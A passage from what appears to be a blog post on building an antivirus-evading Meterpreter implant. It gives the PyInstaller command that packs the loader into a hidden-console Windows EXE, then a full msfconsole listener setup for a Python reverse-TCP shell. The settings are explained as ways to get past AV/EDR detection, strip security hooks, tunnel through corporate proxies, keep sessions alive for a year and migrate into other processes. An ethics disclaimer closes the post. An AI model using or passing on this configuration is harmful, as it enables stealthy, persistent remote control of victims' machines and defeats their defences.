packages everything into a standalone EXE</strong>, meaning the target machine <strong>does not</strong> need Python installed.</p><h4>Compiling the Payload with PyInstaller:</h4><p>To ensure all necessary libraries are packed, I ran the following command:</p><pre>pyinstaller --onefile --noconsole --clean \<br>--hidden-import=code \<br>--hidden-import=platform \<br>--hidden-import=getpass \<br>--hidden-import=shlex \<br>--hidden-import=shutil \<br>app.py</pre><h4>Explanation of Each Option:</h4><ul><li>--onefile: Packages everything into a <strong>single executable file</strong>.</li><li>--noconsole: Prevents the <strong>console window from popping up</strong> when running the EXE.</li><li>--clean: Removes any cached builds before compiling.</li><li>--hidden-import=...: Ensures that modules used by the <strong>Meterpreter payload after injection</strong> are included, preventing errors.</li></ul><h4>Why I Use Hidden Imports?</h4><p>PyInstaller automatically detects and includes most <strong>imported modules</strong> within the script. However, when using a <strong>Meterpreter payload</strong>, the injected shellcode may attempt to use <strong>additional modules that were not explicitly imported</strong> in our script but are needed after execution. These dependencies must be included <strong>manually</strong> using the --hidden-import flag.</p><p>By using <strong>PyInstaller</strong>, I converted the script into an executable that runs on <strong>any Windows machine without requiring Python installed on the target machine</strong>. This is important because many <strong>target systems do not have Python installed</strong>, and using an EXE ensures seamless execution.</p><h3>Step 5: Setting Up the Listener in Msfconsole</h3><p>Once the script is executed on the target machine, it attempts to <strong>inject the Meterpreter payload</strong> from the msfconsole. However, if we use the <strong>default configuration</strong>, most modern antivirus (AV) and endpoint detection response (EDR) solutions will <strong>detect and block the connection</strong>.</p><p>To <strong>bypass detection</strong>, I modified the way the payload is injected and fine-tuned the settings to make the payload <strong>more evasive</strong>. Below is the full configuration I used:</p><pre>msfconsole<br><br>use exploit/multi/handler<br>set Payload python/meterpreter/reverse_tcp<br>set LHOST 0.0.0.0<br>set LPORT 28039<br>set ReverseListenerBindAddress 0.0.0.0<br>set EnableStageEncoding true<br>set StageEncodingFallback true<br>set PayloadUUIDTracking true<br>set PayloadUUIDSeed stealth_modeset<br>set SessionRetryTotal 86400<br>set SessionRetryWait 30<br>set SessionCommunicationTimeout 600<br>set SessionExpirationTimeout 31536000<br>set AutoVerifySessionTimeout 60<br>set AutoSystemInfo false<br>set MeterpreterDebugBuild false<br>set AutoUnhookProcess true<br>set MeterpreterTryToFork true<br>set ReverseAllowProxy true<br>set StagerRetryCount 20<br>set StagerRetryWait 10<br>set AutoRunScript post/windows/manage/migrate</pre><h4>Breaking Down the Key Configurations</h4><p><strong>Basic Payload &amp; Network Settings</strong></p><ul><li>set Payload python/meterpreter/reverse_tcp: Uses a Python-based <strong>reverse TCP payload</strong>, where the target machine initiates a connection back to our attack machine.</li><li>set LHOST 0.0.0.0: Listens on all available network interfaces.</li><li>set LPORT 28039: My IP tunnel configured to redirect incoming traffic on port 65047 (That port we use in the python script) to port 28039. Uses port <strong>28039</strong> instead of the default <strong>4444</strong> to avoid detection.</li><li>set ReverseListenerBindAddress 0.0.0.0: Ensures that connections are accepted from any available interface.</li></ul><p><strong>Encoding &amp; Payload Evasion</strong></p><ul><li>set EnableStageEncoding true: Enables encoding to <strong>obfuscate the payload</strong>, making it harder for AV to detect.</li><li>set StageEncodingFallback true: Ensures that if the primary encoding fails, another method is tried.</li><li>set PayloadUUIDTracking true: Assigns a <strong>unique identifier</strong> to each payload instance, preventing easy signature-based detection.</li><li>set PayloadUUIDSeed stealth_mode: Uses a <strong>custom seed</strong> to change the payload’s signature, reducing AV flagging.</li></ul><p><strong>Session Stability &amp; Persistence</strong></p><ul><li>set SessionRetryTotal 86400: Keeps retrying for <strong>24 hours</strong>, ensuring a connection even if the target machine is offline.</li><li>set SessionRetryWait 30: Waits <strong>30 seconds</strong> between each reconnection attempt.</li><li>set SessionCommunicationTimeout 600: Automatically closes inactive sessions after <strong>10 minutes</strong>.</li><li>set SessionExpirationTimeout 31536000: Keeps the session alive for <strong>1 year</strong> unless manually closed.</li></ul><p><strong>Meterpreter Behavior Adjustments</strong></p><ul><li>set AutoVerifySessionTimeout 60: Ensures session integrity by verifying activity every <strong>60 seconds</strong>.</li><li>set AutoSystemInfo false: Prevents automatic system info gathering, avoiding behavioral detection.</li><li>set MeterpreterDebugBuild false: Disables debugging to <strong>reduce the attack footprint</strong>.</li><li>set AutoUnhookProcess true: <strong>Removes AV/EDR hooks</strong> that might terminate the session.</li><li>set MeterpreterTryToFork true: Attempts to <strong>migrate the session</strong> to a more stable process.</li></ul><p><strong>Additional Stealth &amp; Post-Exploitation</strong></p><ul><li>set ReverseAllowProxy true: Allows connections <strong>through corporate proxies</strong> to bypass network security restrictions.</li><li>set StagerRetryCount 20: Retries 20 times if the connection fails.</li><li>set StagerRetryWait 10: Waits 10 seconds between retries.</li><li>set AutoRunScript post/windows/manage/migrate: Automatically migrates the session to another process upon execution. Helps avoid detection by moving from the initial process (like python.exe) to a more stable system process (like explorer.exe).Why These Modifications?</li></ul><p>By default, <strong>Metasploit-generated payloads are well-known and heavily detected</strong> by modern security solutions. By adjusting encoding, connection settings, and post-exploitation behavior, I was able to <strong>make the payload more dynamic and harder to detect</strong>, ensuring a higher chance of successful execution.</p><h3>Prof of work</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1059791551%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1059791551&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F1986208494-ea8e6d1957a7835dd4d43ff181154325dd00c703905035b085160501071ec337-d_1280&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1030" frameborder="0" scrolling="no"><a href="https://medium.com/media/3e93482d58c46dc18a72206e8bb9f5b8/href">https://medium.com/media/3e93482d58c46dc18a72206e8bb9f5b8/href</a></iframe><h4><strong>Virustotal scan</strong></h4><p><strong>link:</strong> <a href="https://www.virustotal.com/gui/file/e021ff07906e66e738b8430b1cecf3703601c51107531414cc851e55d2be111a/detection">https://www.virustotal.com/gui/file/e021ff07906e66e738b8430b1cecf3703601c51107531414cc851e55d2be111a/detection</a></p><p><strong>screenshot:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZT5Fs6m59Hyelw82jHUew.png" /></figure><h3>Conclusion</h3><p>This research highlights the importance of understanding how antivirus engines detect and block malicious activity. By analyzing, modifying, and restructuring a payload, I was able to bypass traditional detection mechanisms. However, this also underscores the need for continuous improvements in cybersecurity defense. Organizations must implement behavioral analysis, heuristic detection, and AI-driven threat identification to counteract evolving evasion techniques. For ethical hackers and cybersecurity professionals, this research serves as a demonstration of how attackers operate, reinforcing the need for strong security practices. The knowledge gained here should be used responsibly to strengthen defenses and not for unethical purposes. Ethical hacking is about securing systems, not exploiting them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c2d4a294592" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>